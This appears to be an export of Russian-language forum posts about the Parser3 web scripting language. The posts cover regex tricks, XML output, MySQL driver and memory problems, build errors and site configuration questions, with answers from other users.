	^tItems.menu{\
		<item id=\"$tItems.id\">\
			$tItems.text\
			^printTreeXML[$hData]($tItems.id)\
		</item>\
	}\
]\
[/code]"
"58904","[code]\
@show[]\
<item>...</item>\
[/code]"
"58905","Добрый день! \
\
Есть рассылка на сайте. Пишу робота, который автоматически удаляет из базы \"битые\" адреса. Кто-нибудь знает как получить код ошибки из письма? Т.е. приходит письмо \"failure notice\" нужно определить ошибку (user not found, mailbox is full и т.д.). Есть ли это в заголовках письма? Читал спецификацию, не нашел.. :("
"58906","Вобщем пытаюсь решить тривиальную задачу. Есть <ul> списки в контенте.\
\
[code]<ul>\
 <li>a</li>\
 <li>b</li>\
 <li>c</li>\
</ul>\
<ul>\
 <li>a</li>\
 <li>b</li>\
 <li>c</li>\
</ul>[/code]\
\
Типа того. И вот захотелось мне match'ем переделать это в таблицу.\
\
[code]@postprocess[body]\
$body[\
^body.match[(\\<ul\\>)(.+?)(\\<\\/ul\\>)][gxi]{\
	<table>\
		^match.2.match[\\<li\\>(.+?)\\<\\/li\\>][gxi]{\
			<tr>\
				<td>\
					&mdash^;\
				</td>\
				<td>\
					$match.1\
				</td>\
			</tr>\
		}\
	</table>\
}][/code]\
\
Вот так вот. Всё работает нормально, вроде. Только вот захотелось мне внутрь каждого <li> положить ещё по списку: <ul> или <ol>. И на этом мои силы иссякли.\
\
Помогите, если кто может."
"58907","в контейнере лежат данные.\
обычно, данные одного типа = набор полей, каждое поле своего типа и с соответствующим редактором.\
\
в вашей админке вы это аккуратно разбираете и подставляете редактор, соответствующий данному типу полю данного объекта."
"58908","Можно поступить проще (и быстрее)\
\
[code]@main[]\
$code[\
<ul>\
 <li>d</li>\
 <li>e</li>\
 <li>\
 	<ul>\
 		<li>f</li>\
 		<li>g</li>\
 		<li>h</li>\
	</ul>\
 </li>\
</ul>\
]\
\
^reg[$code]\
\
\
\
@reg[string]\
$string[^string.match[\\<(?:ul|ol)][gi]{<table border='1'}]\
$string[^string.match[\\<\\/(?:ul|ol)\\>][gi]{</table>}]\
$string[^string.match[\\<li][gi]{<tr><td>&mdash^;</td><td}]\
$result[^string.match[\\<\\/li\\>][gi]{</td></tr>}]\
[/code]\
\
Можно и подругому - основная идея - не надо относиться к спискам как к вложенным сруктурам, если нужно просто махнуть их на таблицы.."
"58909","в качестве предложения по развитию Парсера\
\
$i1[^item::create[]]\
$i1.link[http://parser2.parser.ru/]\
$i1.text[parser 2.0 (старая версия)]\
\
$i2[^item::create[]]\
$i2.link[http://www.parser.ru/faq/]\
$i2.text[FAQ]\
\
$m1[^menu::create[]]\
$m1.parser[$i1]\
$m1.faq[$i2]\
\
$result[^m1.xml[2]]\
\
<menu name=\"m1\">\
	<item name=\"parser\">\
		<link>http://parser2.parser.ru/</link>\
		<text>parser 2.0 (старая версия)</text>\
	</item>\
	<item name=\"faq\">\
		<link>http://www.parser.ru/faq/</link>\
		<text>FAQ</text>\
	</item>\
</menu>\
\
классы item и menu пользовательские, метод xml выводит дерево объектов указанной глубины\
это можно сделать, описав метод xml для каждого конкретного класса\
однако хочется иметь такой метод в ядре parser с возможностью переопределения в пользовательском классе\
\
а по xml ведь можно еще и в обратную сторону восстановить цепочку объектов )\
\
собственно, проблема в том, что у меня не получаются 2 вещи:\
получить имя класса произвольного объекта, чтобы вывести в имя тэга\
получить список полей произвольного объекта, чтобы для каждого выполнить xml\
\
можно ли это сделать в принципе?"
"58910","хоть я и не понимаю смысл вашей тривиальной задачи\
но это\
[code]\
# данные\
$code[\
<ul>\
	<li>a</li>\
	<li>b</li>\
	<li>c</li>\
</ul>\
<ul>\
	<li>\
		<ul>\
 			<li>a</li>\
 			<li>b</li>\
 			<li>c</li>\
		</ul>\
	</li>\
	<li>b</li>\
	<li>c</li>\
</ul>\
]\
# таблица замен\
$tReplace[^table::create{from	to\
ul	table\
<li>	<tr><td>&mdash^;</td><td>\
</li>	</td></tr>\
}]\
# результат\
$resultCode[^code.replace[$tReplace]]\
[/code]\
повторит результат работы вашего кода с любой вложенностью и быстрее"
"58912","вот прямо при тебе записываю в долговую книжку [достаёт пухлый такой томик] “отдать N$ Feretti [b]при первой возможности[/b]”» © один классный итальянский фильм.\
\
там ещё в начале фильма герои-весельчаки отвешивали звонкие пощёчины опрометчиво высунувшимся из окон уезжающего поезда."
"58913","Внутри <ul> таким макаром переписоваются <ol> списки, а это не то.\
\
Хорошо бы, чтоб <ol> оставался им же, а переписывались только <ul>."
"58914","ну сделайте в этих классах\
при инициализации создание хэша с именем к примеру \"xml\"\
то есть у каждого класса будет что то вроде:\
[code]\
@create[blablabla]\
$xml[^hash::create]\
...\
и метод\
^getXml[]\
^MAIN:getXML[$xml]\
[/code]\
соотвественно нужен будет и пользовательский оператор getXML\
который будет рекурсивно пробегать хэш и составлять xml значение ключ = нода, значение строки = строковое значение ноды\
\
и тогда можно будет писать что-то вроде\
[code]\
$i1[^item::create[]]\
$i1.xml.link[http://parser2.parser.ru/]\
$i1.xml.text[parser 2.0 (старая версия)]\
\
$i2[^item::create[]]\
$i2.xml.link[http://www.parser.ru/faq/]\
$i2.xml.text[FAQ]\
\
$m1[^menu::create[]]\
$m1.xml.parser[$i1.xml]\
$m1.xml.faq[$i2.xml]\
\
$result[^m1.getXml[]]\
[/code]\
и получать нужный xml"
"58915","Внутри <ul> таким макаром переписоваются <ol> списки, а это не то.\
\
Хорошо бы, чтоб <ol> оставался им же, а переписывались только <ul>."
"58916","без задней мысли(!) может дадите ссылочку на javascript код реализации, о которой говорите?\
\
т.к. по части арифметики parser от javascript не колоссально отличается — пока не вижу, что мешает перевести, раз уж есть в том необходимость."
"58917","положить passwords.txt в .zip файл с паролем.\
[code]\
$f[^file::exec[unzip.sh;$.CGI_PASSWORD[$form:password]]]\
$passwords[^table::create{$f.text}]\
[/code]\
\
распаковывать на stdout.\
\
[i]в мастер-пароле неплохо бы оставить (match, replace остальное на пусто) только английские буквы и цифры, чтобы в командную строку не пролезло нежелательное.[/i]"
"58918","решит первую проблему. про вторую согласен с предыдущим оратором.\
\
проблема обществом осознана.\
\
я уже писал тут про MS:LINQ и его разновидность XLing (см. google).\
а также про XQuery со ссылкой на его C++ реализацию.\
\
возможно, у кого найдутся силы исследовать имеющуюся (щиеся?) реализацию XQuery на предмет пригодности к практическому использованию?"
"58919","Но вариант Klen-а лучше, если вам принципиально не нужны регекспы."
"58921","проблемы возникают, когда начинаешь использовать chroot - там с безопасностью чего-то. Но опытные админы это лечат :)"
"58922","авторы вот пишут: We present a simple algorithm which can be translated into a number of different languages and assembly languages very easily. It is short enough to be programmed from memory or a copy.\
\
Перевести большого труда не составило, было [url=\"http://www.parser.ru/forum/?id=57906\"]несколько маленьких проблем и одна посерьезнее[/url] (^#00), из-за которой код занимает теперь в два раза больше места чем ему положено :)"
"58923","Совместим ли парсер с народ.ру? Если да, то стоит ли их совмещать?"
"58924","нет"
"58926","Пишу в данный момент код.\
Есть таблица длинным названием. И надо сделать ей .menu\
\
В связи с этим подумалось\
\
Может сделать в парсере возможность вместо\
[code]^tMySuperPuperTable.menu{\
	$tMySuperPuperTable.field\
}[/code]\
писать что-то вроде\
[code]^tMySuperPuperTable.menu{\
	$this.field\
}[/code]\
\
По моему было бы удобно\
\
Что по этому поводу думает уважаемая общественность?"
"58928","Но, имхо, это будет не очень хорошо.\
У таблицы длинное название именно для того, что бы было сразу понятно что в ней.\
\
Оно все конечно не критично. Просто подумалось, что это дополнение было бы приятной мелочью"
"58929","Если уж читали спецификацию (RFC821), откройте Appendix F, раздел \"Aborted SMTP Transaction Scenario\". Вот таким манером и \"отделяйте агнцев от козлищ\""
"58930","Адрес:\
http://parser.proc.ru/ru/forum/?id=330"
"58931","А то ничего не приходит :-("
"58933","Доброго времени суток!\
\
Сразу к делу: парсер используется в качестве генератора сайта (запускается как exe-шник без участия WEB-сервера). В коде парсера необходимо знать имя текущего обрабатываемого файла. Есть ли какой-нибудь способ узнать его? Возможно есть какая-то переменная окружения...\
\
З.Ы.: Если есть упоминание в документации, то не бейте сильно, ибо документацию просамтриовал и не один раз... не нашел."
"58935","посыпались письма..."
"58937","Последний абзац первого пункта"
"58938",".. чтобы парсер, считывая файл, все же давал бы серверу его обработать. Если читаем .shtml, то там и должны обработаться инструкции SSI, если читаем .php, то там и должны исполниться инструкции PHP. Только без ^file::load[text;http...]\
Такое возможно, хотя бы в обозримом будущем? Очень сильно хочется."
"58939","Вот на сайте www.loadup.ru при загрузке видео идет полоса загрузки.\
\
насколько я понимаю, размер файла можно узнать только когда он будет на сервере, верно? или есть какие-то вариаты при загрузке файла сделать что-то похожее?"
"58940","libmySQL.dll от версии 5.1.15 весит 1 576 960\
libmySQL.dll от версии 5.1.11 весит 2 596 864\
так вот родная dll от MySQL 5.1.15 не работает с парсером :((\
копируешь от 5.1.11 - начинает работать\
\
странно как-то ... :(\
может кто сталкивался с подобным?"
"58941","Вроде как во втором Апаче есть подобные возможности."
"58943","[code] \\( ( (?>[^()]+) | (?R) )* \\)[/code]\
\
[url=\"http://ru.php.net/manual/ru/reference.pcre.pattern.syntax.php\"]PCRE[/url]"
"58944","Перерыл весь Соурсфордж ни один не работает. Может у когото есть готовый или кто то копал в этом напрвлении подскажите пример callback функций чтобы вставлять файлы. \
\
Очень нужно срочно."
"58945","в продолжение темы http://www.parser.ru/forum/?id=58909\
\
объект обычно имеет имя, класс, хитрый идентификатор из базы данных, несколько полей (поля выводятся внутрь контейнера)\
$faq[^item::create[10]]\
\
как наиболее адекватно описать объект на языке xml?\
<item id=\"faq\" />\
<item name=\"faq\" id=\"10\" />\
<faq class=\"item\" id=\"10\" />\
<div name=\"faq\" class=\"item\" id=\"10\" />\
\
и еще любопытно, что значит имя тэга: имя объекта или все-таки класс объекта?\
\
у меня получается, что либо атрибут name, либо атрибут class оказывается лишним (дублируется в названии тэга), почему это происходит?"
"58946","[code]\
<object>\
	<id>10</id>\
	<name>faq</name>\
	<class>item</class>		\
</object>\
[/code]"
"58947","^str.match[(?<=\\d)(?=(?:\\d\\d\\d)+(?!\\d))][g]{&nbsp^;}\
\
Пример из книги Дж. Фридла «Регулярные выражения» издательства «O'Reilly» (ISBN 1-56592-257-3), перевод книги на русский язык: издательство «Питер» (ISBN: 5-272-00331-4, второе издание."
"58948","Вопрос разработчикам: будет ли в новой версии Parser обновление  библиотеки PCRE?"
"58950","[quote]\
# указываем, какой конфиг читать (вместо auto.p в корне)\
SetEnv CGI_PARSER_CONFIG /usr/bin/parser3/config/parser3config_verXX.p\
[/quote]\
\
\"auto.p в корне\" - в корне сайта? или рядом с парсером\
проблема следующая:\
ставлю парсер 3.2.1. на федору 5\
парсер работает, даже парсерит html-файлы, но такое впечатление, что он не видит auto.p который рядом с парсером\
\
т.е. в @main[] скрипта нельзя вывести значение переменной заданной в методе @auto[] в файле auto.p лежащего рядом с parser3.cgi\
почему так происходит?\
или до версии 3.2.x работало без CGI_PARSER_CONFIG, а в 3.2 нужно обязательно задавать на линуксах CGI_PARSER_CONFIG ???"
"58951","где вы нашли такую формулировку?\
\
http://www.parser.ru/docs/lang/?install.htm\
[quot]\
конфигурационный файл считывается из файла, заданного переменной окружения CGI_PARSER_CONFIG,\
Если переменная не задана, ищется в том же каталоге, где расположен сам CGI скрипт.\
[/quot]\
\
речь идет о задании пути к конфигурационному чайту, а не к корневому auto.p\
\
насколько известно мне, в 3.2 изменений в этом месте не было.\
\
[quot]\
т.е. в @main[] скрипта нельзя вывести значение переменной заданной в методе @auto[] в файле auto.p лежащего рядом с parser3.cgi\
[quot]\
\"стандартная\" проверка: добавление ^throw[;] в @conf[] или @auto[] конфигурационного файла.\
\
P.S. пожалуйста, перечитайте FAQ на предмет того, что мы просим писать в заголовок сообщения."
"58954","Внимание: они [b]не имеют[/b] обратной совместимости со старыми. Как на них перейти - читайте в архиве."
"58956","[quote]как наиболее адекватно описать объект на языке xml?[/quote]\
Главное — сделать так, чтобы XSLT-программист, который это дело будет обрабатывать, сразу ухватил суть вещей.\
XML вовсе не обязательно должен отражать внутреннее устройство базы данных или структуры объектов и классов.\
Зачем, например, выдавать в XML информацию о том, какому классу принадлежит объект faq? А если и надо, то не @class, а @class_name, например.\
А еще не стоит использовать тэги, которые есть в html (в этом примере — div).\
\
А теперь вернемся к нашему примеру.\
[quote]и еще любопытно, что значит имя тэга: имя объекта или все-таки класс объекта?[/quote]\
Смотря в каком случае.\
Если faq — единственный объект класса item, который будет присутствовать в XML, то можно его описать так:\
<faq id=\"10\" />\
<!-- @class_name тут вообще не нужен -->\
<!-- хотя, в общем-то, и @id тоже не нужен в большинстве случаев -->\
А если faq имеет братьев, то так:\
<items>\
	<item id=\"10\" name=\"faq\" />\
	<item id=\"20\" name=\"foo\" />\
	<item id=\"30\" name=\"bar\" />\
</item>"
"58957","[code]@main[]\
^someFunction[67.21]\
\
@someFunction[money]\
^money.format[%.14f]\
<br>\
$copeiki(^math:frac($money)*100)\
$copeiki(^copeiki.int[])\
Число копеек - $copeiki[/code]\
Выдает:\
[b]67.20999999999999\
Число копеек - 20[/b]\
Почему ^money.format[%.14f] выводит такое странное число? Даже если допустить, что не следует запрашивать 14 знаков после запятой, то почему число копеек - 20?"
"58959","Вот такое вот вылазит при сборке парсера на freeBSD 5.4. \
\
[code]\
parser3.C:241: error: 'class Request' has no member named 'console'\
*** Error code 1\
[/code]\
\
В документации/faq/на форуме ничего про это не нашел.\
Может кто подскажет, куда копать дальше?"
"58962","подробности [url=\"/forum/?id=57812\"]тут[/url] и [url=\"/forum/?id=58125\"]тут[/url]"
"58963","а когда /cgi-bin/ с парсером лежит в другом каталоге физически и цепляется как виртуальный каталог, то auto.p не находится :(\
как только скопировал в корень сайта /cgi-bin/ все сразу начало находится!"
"58964","Драйвер полученный по CVS собирается без проблем, но он получается байт в байт равным тому, что был раньше.\
И со свежесобранным парсером не работает:\
[code]'/../parser3/lib/libparser3mysql.so' can't open the module [<no type>][/code]\
\
а еще при обращению к парсеру через напрямую (напр. http://localhost/cgi-bin/parser3) он падет в .core со словами: \
\
[code]Parser/3.2.1 (compiled on i386-unknown-freebsd5.4) [no request info][/code]"
"58965","в самом mysql-ном драйвере ничего не менялось (менялось в драйверах для oracle и pgsql), более того: новая версия у меня уже работает на одном их проектов, правда без пары последних изменений связанных с console, но там используется и mysql. \
\
тем не менее посмотрю в ПН, просто так к парсеру я не обращался, возможно из-за изменений связанных с console я добился этой core %-)"
"58966","но почему-то нужного эффекта не получил ;("
"58968","Здравствуйте,\
\
Требуется фрилансер на разовую, но частую, работу. Отличное знание Parser обязательно, так же как xml и xslt, обязательно. Пишите на oskin at igrouprussia.com договоримся."
"58969","Приветствую всех обитателей сего форума!!!\
Я, как любой другой новичок, хочу знать все сразу. Но отдаю себе отчет, что сразу ничего не бывает.\
Хочу попросить об одолжении помочь мне в следующем.\
У меня есть готовый сайт, собранный на парсере. В нем все здорово, все работает, все открывается. Собирал не я, но с редактированием и правкой есть проблема.\
Проблема следующая: как мне локально на жестком диске редактировать весь контент? Не могу никак допетрить с описанием корневого каталога в файлах конфигурации.\
Можть это все надо как-то хитро списать на жесткий диск или что-то еще? Помогите пожалуйста в сложившейся проблеме?\
Заранее благодарен!\
\
P.S.\
Что хочу сказать по поводу самого Парсера... Установил на компутер, но как с ним работать не знаю.... Читаю мануал... Ясно, но не все... В целом, довольно заманчиво :-)"
"58970","вот тут остался вопрос без ответа:\
http://www.parser.ru/forum/?id=54216\
\
проблема в принципе в чистом виде такова:\
\
делаем такой html:\
\
[code]@main[]\
$QUERY[^untaint{$request:query}]\
^QUERY.save[query.txt]\
$Q[^untaint{$form:q}]\
^Q.save[q.txt]\
[/code]\
\
обращаемся к нему:\
index.html?q=test%u0443%u0440\
\
в query.txt получаем\
q=test%u0443%u0440\
\
в q.txt\
test\
\
то что parser не умеет декодировать unicode понятно, но куда девается информация в полях form?\
ведь по идее в поле $form:q должно быть test%u0443%u0440"
"58971","просто решать именно регекспами такую задачу никто не считает правильным.\
Вы считаете - решайте на здоровье :)"
"58972","вместо этого парсер научится понимать %uXXXX, о чем было упомянуто в треде, на который вы ссылаетесь."
"58975","При выборе пользователем одной из OPTION в форме должен добавлятся дополнительый INPUT. При попытке сделать \
<option onchange=$p[1]>1</option>\
...\
^if($p==1){<input type=text>}{0}\
\
Правильно ли я считаю, что тип события onchange будет только выполнять код JavaScript и эту задачу в связке с onchange надо решать с помошью JS и css. \
Вопрос: может ли парсер динамически изменять страницу?\
Или я просто не умею этого делать? ПОМОГИТЕ ПЛИЗ."
"58977","Делаю так: \
\
[code]$kladr[^table::load[/admin/kladr.cfg]]\
^kladr.menu{^void:sql{INSERT INTO kladr (id, name, socr, code, indeks, gninmb, uno, ocatd, status) VALUES ('', '^kladr.name.mid(0;40)', '^kladr.name.mid(40;50))', '^kladr.name.mid(50;63)', '^kladr.name.mid(63;69)', '^kladr.name.mid(69;73)', '^kladr.name.mid(73;77)', '^kladr.name.mid(77;88)', '^kladr.name.mid(88;89)')}}[/code]\
\
Получаю сообщение [quote]Fatal error in gc\
Too many heap sections[/quote]\
\
И потом в броузере [quote]Unhandled exception 0x80000003 at 0x7C901230[/quote]\
\
В файле kladr.cfg примерно 180000 строк по 89 символов, объем примерно 15 Мб. В базе получаю 87-88000 записей (всегда по-разному).\
\
Попробовал:\
[code]$kladr[^table::load[/admin/kladr.cfg]]\
^kladr.menu{^void:sql{INSERT INTO kladr (id, name, socr, code, indeks, gninmb, uno, ocatd, status) VALUES ('', '^kladr.name.mid(0;40)', '^kladr.name.mid(40;50))', '^kladr.name.mid(50;63)', '^kladr.name.mid(63;69)', '^kladr.name.mid(69;73)', '^kladr.name.mid(73;77)', '^kladr.name.mid(77;88)', '^kladr.name.mid(88;89)')}}\
$kladr[^table::load[/admin/kladr1.cfg]]\
^kladr.menu{^void:sql{INSERT INTO kladr (id, name, socr, code, indeks, gninmb, uno, ocatd, status) VALUES ('', '^kladr.name.mid(0;40)', '^kladr.name.mid(40;50))', '^kladr.name.mid(50;63)', '^kladr.name.mid(63;69)', '^kladr.name.mid(69;73)', '^kladr.name.mid(73;77)', '^kladr.name.mid(77;88)', '^kladr.name.mid(88;89)')}}[/code]\
\
и соответственно в каждом kladr.cfg по 50000 записей. Первый прошел, на втором опять: [quote]Unhandled exception 0x80000003 at 0x7C901230[/quote]\
\
Что делать?"
"58978","более того, вы выбрали далеко не самый способ загрузить данные. лучше пойти следующим путем:\
1. написать скрипт (perl?) который сделает вам comma separated или tab-delimited файл\
2. загрузить его с помощью mysql-ной комманды load data infile (в качестве примера можете скачать скрипт загрузки данных этого форуме)\
\
если же вы все таки жаждите пробовать сделать это парсером, то вам нужно ручками освобождать память, например:\
1. разбиваете ваш файл на несколько\
2. делаете такой цикл:\
[code]\
^for[i](1;XYZ){\
$kladr[^table::load[/admin/kladr${i}.cfg]]\
^kladr.menu{^void:sql{INSERT INTO ...}}\
$kladr[]\
^memory:compact[]\
}\
[/code]\
\
однако поможет это в вашем случае или нет - я не знаю. у меня на win очень длинные скрипты с очень большим количеством запросов на выделение памяти также завершались операционной системой по причине большого количества запросов на выделение памяти."
"58979","... то никаких проблем нет. У меня на Парсере достаотчно навороченный провайдерский биллинг написан - там есть скрипты с десятками тысяч запросов. Правда все это работает под FreeBSD... :)"
"58980","Вы наверное пользуетесь редактором \"PSpad\", на форуме попадалось, если так, то не могли бы поделиться подсветкой для него, и чтоб методы в отдельной колоночке как писали ([url=\"http://www.parser.ru/forum/?id=57401\"]http://www.parser.ru/forum/?id=57401[/url]).\
Я думаю не мне одному интересно.\
Спасибо...\
\
P.S. Прошу прощения если наглость."
"58982","Правда мало кто им помогает. На это есть много причин.\
Кстати, Вам в FAQ по форуму желательно.\
\
P.S. Почему бы не обратится к тому, кто написал этот сайт?"
"58983","у меня все ок - никаких core (win, solaris, остальное тестировать будем ближе к релизу)\
\
а версия 3.2.1 из cvs собирается?"
"58984","Имеется настроеный работающий парсер, но как не бьюсь не работает replace. Даже при создании новой html и копировании туда кода из справки остается:\
Исходная строка: A magic moment I'll remember! \
Исковерканная строка: An magic moment I'll remember! \
Прошу помощи!"
"58985","Парсер — серверный язык, на клиенте он выполняться не будет. Для этих целей нужен JS."
"58987","[code]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get parser3\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get sql[/code]\
\
\
потом добавляем:\
[code]\
  echo \"Configuring parser3...\"\
  ./configure --prefix=$install_directory \\\
     \"--with-sendmail=$sendmail_command\" \\\
     --with-static-gc=$project_directory/gc/lib \\\
     --with-static-xml=$project_directory/gnome \\\
     --with-dynamic-stdcpp \\\
     --silent\
[/code]\
\
все собирается, работает. Но MySQL driver не пашет."
"58988","Благодарю Вас."
"58989","я спрашивал про:\
[code]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_3_2_1 parser3[/code]\
\
ещё можете попробовать собрать с gc 6.6 (с которой собирались предыдущие версии парсера), для этого в ./build... нужно исправить цифры 6.8 на 6.6 (если возьмете версию 3.2.1 то ничего править не нужно)"
"58990","[code]driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory[/code]\
\
Вобщем, через auto.p в lib обратиться не удаётся. Написал в техподдержку, они положили в корень собственно libmysqlclient.so\
\
Не пойму, что с ним теперь делать =)"
"58991","ПАФ,\
к счастью (или к сожалению), я больше в студии не работаю и собственно плагин больше не разрабатываю.\
Source не очень свежий можно скачать в репозитарии, а самый свежий - в студийной cvs, но, кажется, энтузиастов поддерживать это больше нет."
"58992","Я их долго мучал они покрехтели, но настроили всё."
"58999","была простая вещь с несовместимостью способов хеширования паролей.\
которая решалась либо обновлением libmysql{.dll,client.so} либо явным grant с опцией \"поддержка старых клиентов\".\
кому не лень, опубликуйте прямую ссылку в mysql доку про эту опцию?"
"59001","Разбил файл на части и загружал его отдельными методами. Интересуют пределы, которые я пытался превысить: размер файла, занятая память, количество строк...\
\
И можно ссылку? ([quote]скачать скрипт загрузки данных этого форуме[/quote])"
"59003","До этого навигация работала\
\
Открываем файл auto.p и меняем его содержимое на: \
\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br> \
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"center\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
}\
\
\
\
\
получаем\
\
\
read failed: no such file or directory (2), actual filename '/sections.cfg'Ошибку вызвал этот фрагмент:\
/sections.cfg \
Ошибка произошла при работе с файлом:\
/examples/lesson2/auto.p, строка номер 3Что обычно приводит к ошибке «file.missing»?\
вы пытаетесь получить доступ к файлу, которого нет или он на деле называется не так, как вы думаете (может быть, вы перепутали регистр букв? или заменили английскую букву в имени русской?)\
\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу) \
load в файле /examples/lesson2/auto.p, строка 3 \
navigation в файле /examples/lesson2/index.html, строка 1 \
\
\
Что я упустил? почему такая ошибка?"
"59005","(как в примере) в методе main на главной странице делается общий каркас сайта, в каркасе используются переопределяемые на внутренних страницах сайта методы header, footer, navigation, body\
\
в каркасе прописывается фоновое изображение, которое переопределяется на внутренних страницах (меняется файл)\
$background[^image::load[background.jpg]]\
\
у меня возникает предположение, что файл нужно искать не только в текущем каталоге, в котором находится запрошенная страница, а еще и по всей цепи до корня, чтобы правильно работало наследование"
"59007","про find честно не знал ;)"
"59010","Когда пишу\
[code]^oSql.server{\
...code...\
}[/code]\
все коннектится нормально.\
\
Но когда загружаю таблицу, на той же странице\
[code]^oSql.table{...query...}[/code]\
выдает\
\
	[i]В работе Parser произошла ошибка:\
	undefined method\
	Ошибку вызвал этот фрагмент:\
	table[/i]\
\
Пишу [code]$MAIN:oSql.table{...query...}[/code], все нормуль.\
\
Подскажите, в чем проблема?\
\
Да, еще, подключенный метод Erusage в классе LibComp у меня почему-то выдает ошибку (сам файл Erusage.p есть и подключен в корневом auto.p)\
\
Ошибка такая\
\
	[i]В работе Parser произошла ошибка:\
	class is undefined\
	Ошибку вызвал этот фрагмент:\
	status[/i]\
\
Ни строки ошибки, ничего больше не говорит..."
"59011","[quot]\
Когда пишу \
^oSql.server{\
...code...\
}\
все коннектится нормально.\
[/quot]\
\
парсер не осуществляет connect до первого запроса. и тем более это не делает класс Sql.\
\
\
[quot]\
Но когда загружаю таблицу, на той же странице \
^oSql.table{...query...}\
выдает\
\
В работе Parser произошла ошибка:\
undefined method\
[/quot]\
\
покажите как вы создаете объект oSql, а также расскажите куда вы скопировали файлы sql классов и что вы вписали в ваш CLASS_PATH\
\
\
[quot]\
Пишу \
$MAIN:oSql.table{...query...}\
, все нормуль.\
[/quot]\
\
это вообще не пойми что. этим кодом вы говорите парсеру: создай мне в объекте oSql поле с именем table и помести в него \"код\", который я указал в фигурных скобках. это совсем не то-же самое, что вызов метода.\
\
\
[quot]\
Да, еще, подключенный метод Erusage в классе LibComp у меня почему-то выдает ошибку (сам файл Erusage.p есть и подключен в корневом auto.p)\
\
Ошибка такая\
\
В работе Parser произошла ошибка:\
class is undefined\
Ошибку вызвал этот фрагмент:\
status\
[/quot]\
\
какая у вас используется версия парсера? cgi? модуль apache? если последнее - почитайте комментарий тут: http://www.parser.ru/docs/lang/statusclass.htm"
"59012","не, такая проблема появлялась при апгрейде сервера на версию 4 и выше с сохранением старой клиентской библиотеки.\
\
а когда речь идет об изменении библиотеки с одной бета версии на другую - это совсем другая история...\
\
P.S. в любом случае \"возникли проблемы\" без их описания - очень информативно. наверное всем присутствующим предлагается самим установить одну бета версию mysql, проапгрейдить её на другую, воспроизвести эту проблему, решить её и сообщить решение."
"59013","Есть такие фрагменты:\
[b]file.xml:[/b]\
...\
  <txt>\
    <p>some text</p>\
    <p>some text</p>\
  </txt>\
...\
\
[b]file.xsl:[/b]\
...\
  <xsl:copy-of select=\"txt\" />\
...\
\
[b]auto.p:[/b]\
$sourceDoc[^xdoc::load[$dig]] \
$transformedDoc[^sourceDoc.transform[/digsrc/digest.xsl]] \
^transformedDoc.string[ \
  $.method[html] \
]\
\
[b]На выходе публикуется следующее:[/b]\
<txt>\
<p>some text</p>\
<p>some text</p>\
</txt>\
\
Вопрос. Откуда берется <txt>...</txt> в итоговом html?"
"59015","Я имел ввиду, что когда пишу\
[code]^oSql.server{\
	$table[^table::sql{\
		...\
	}]\
}[/code]\
все работает.\
\
А если вместо\
[code]^table::sql[/code] \
пишу \
[code]^oSql.table[/code]\
выдает [i]undefined method[/i]\
\
В auto.p\
\
@auto[]\
$SQL.connect-string[mysql://root@localhost/myanapa]\
# строка коннекта для старого кода\
$connect[mysql://root@localhost/myanapa]\
\
$oSql[^MySql::create[$SQL.connect-string;\
	$.bDebug(1)\
	$.sCacheDir[/data/sql_cache]\
]]\
\
CLASS_PATH прописанный в auto.p в папке Swissknife/Вебсервер/Parser\
вот такой\
\
[code]$CLASS_PATH[^table::create{path\
/classes\
/classes/sql\
/classes/standard\
/classes/typographics\
}][/code]\
\
Пример кода запроса\
[code]^oSql.server{\
...\
$parents[^oSql.table{\
	select\
		ID,\
		userID,\
		title,\
		body,\
		dt\
	from\
		forum_messages\
	where\
		is_parent = '1' and\
		themeID = '$themeID'\
	order by\
		dt\
}[\
	$.limit($oPage.limit)\
	$.offset($oPage.offset)\
]]\
...\
}[/code]\
\
\
Если что-то неправильно, подскажите как это все написать, а то я уже начинаю путаться где писать CLASS_PATH и как создать объект sql\
\
\
Кстати, а почему с этим непойми что ($MAIN:oSql.table{...query...}) все нормально подсоединяется?"
"59016","у меня мыслей откуда вылезла эта проблема нет.\
\
попробуйте перед ^oSql.table написать: ^throw[;=$oSql.sClassName=$oSql.sServerName=$oSql.server_name=]\
результат приведите тут. плюс приведите более полной сообщение о первоначальной ошибке (включая stack trace)\
\
кроме этого вы забыли сообщить версию parser, и до кучи приведите версии файлов Sql.p и MySql.p (вторая строка)"
"59018","А что в него добавить надо? Sections.cfg  сам есть и в нем \
\
section_id	name	uri\
1	Главная	./\
2	Новости	./news/\
3	Контакты	./contacts/\
4	Цены	./price/\
5	Ваше мнение	./gbook/"
"59019","Подскажите синтаксис\
\
Делаю\
[code]$link[…]\
$link[^if($cc != 00){$link}{${link}&cc=$kladr.cc&rrr=-1}][/code]\
\
чтобы далее\
[code]^kladr.menu{ \
	<tr> \
		<td>$kladr.id</td>\
		<td><a href=\"$link\">$kladr.name $kladr.socr</a></td>\
		<td>${kladr.cc}-${kladr.rrr}-${kladr.ggg}-${kladr.ppp}-${kladr.aa}</td> \
   	</tr> \
}[/code]\
\
получаю\
cc\
is 'junction', it has no elements\
\
пробовал\
[code]...\
$link[^if($cc != 00){$link}{${link}&cc=^$kladr.cc&rrr=-1}]\
...[/code]\
\
получаю\
[code]...\
site.ru/edit2.html?action=show_kladr&cc=$kladr.cc&rrr=-1\
site.ru/edit2.html?action=show_kladr&cc=$kladr.cc&rrr=-1\
...[/code]\
\
хочу получить\
[code]...\
site.ru/edit2.html?action=show_kladr&cc=01&rrr=-1\
...\
site.ru/edit2.html?action=show_kladr&cc=_число_из_базы_&rrr=-1\
...\
site.ru/edit2.html?action=show_kladr&cc=99&rrr=-1\
...[/code]"
"59020","0. имена переменных/полей - отстой. я например не понял о чем вообще код, а это важно, т.к. через некоторое время и вы не поймете.\
\
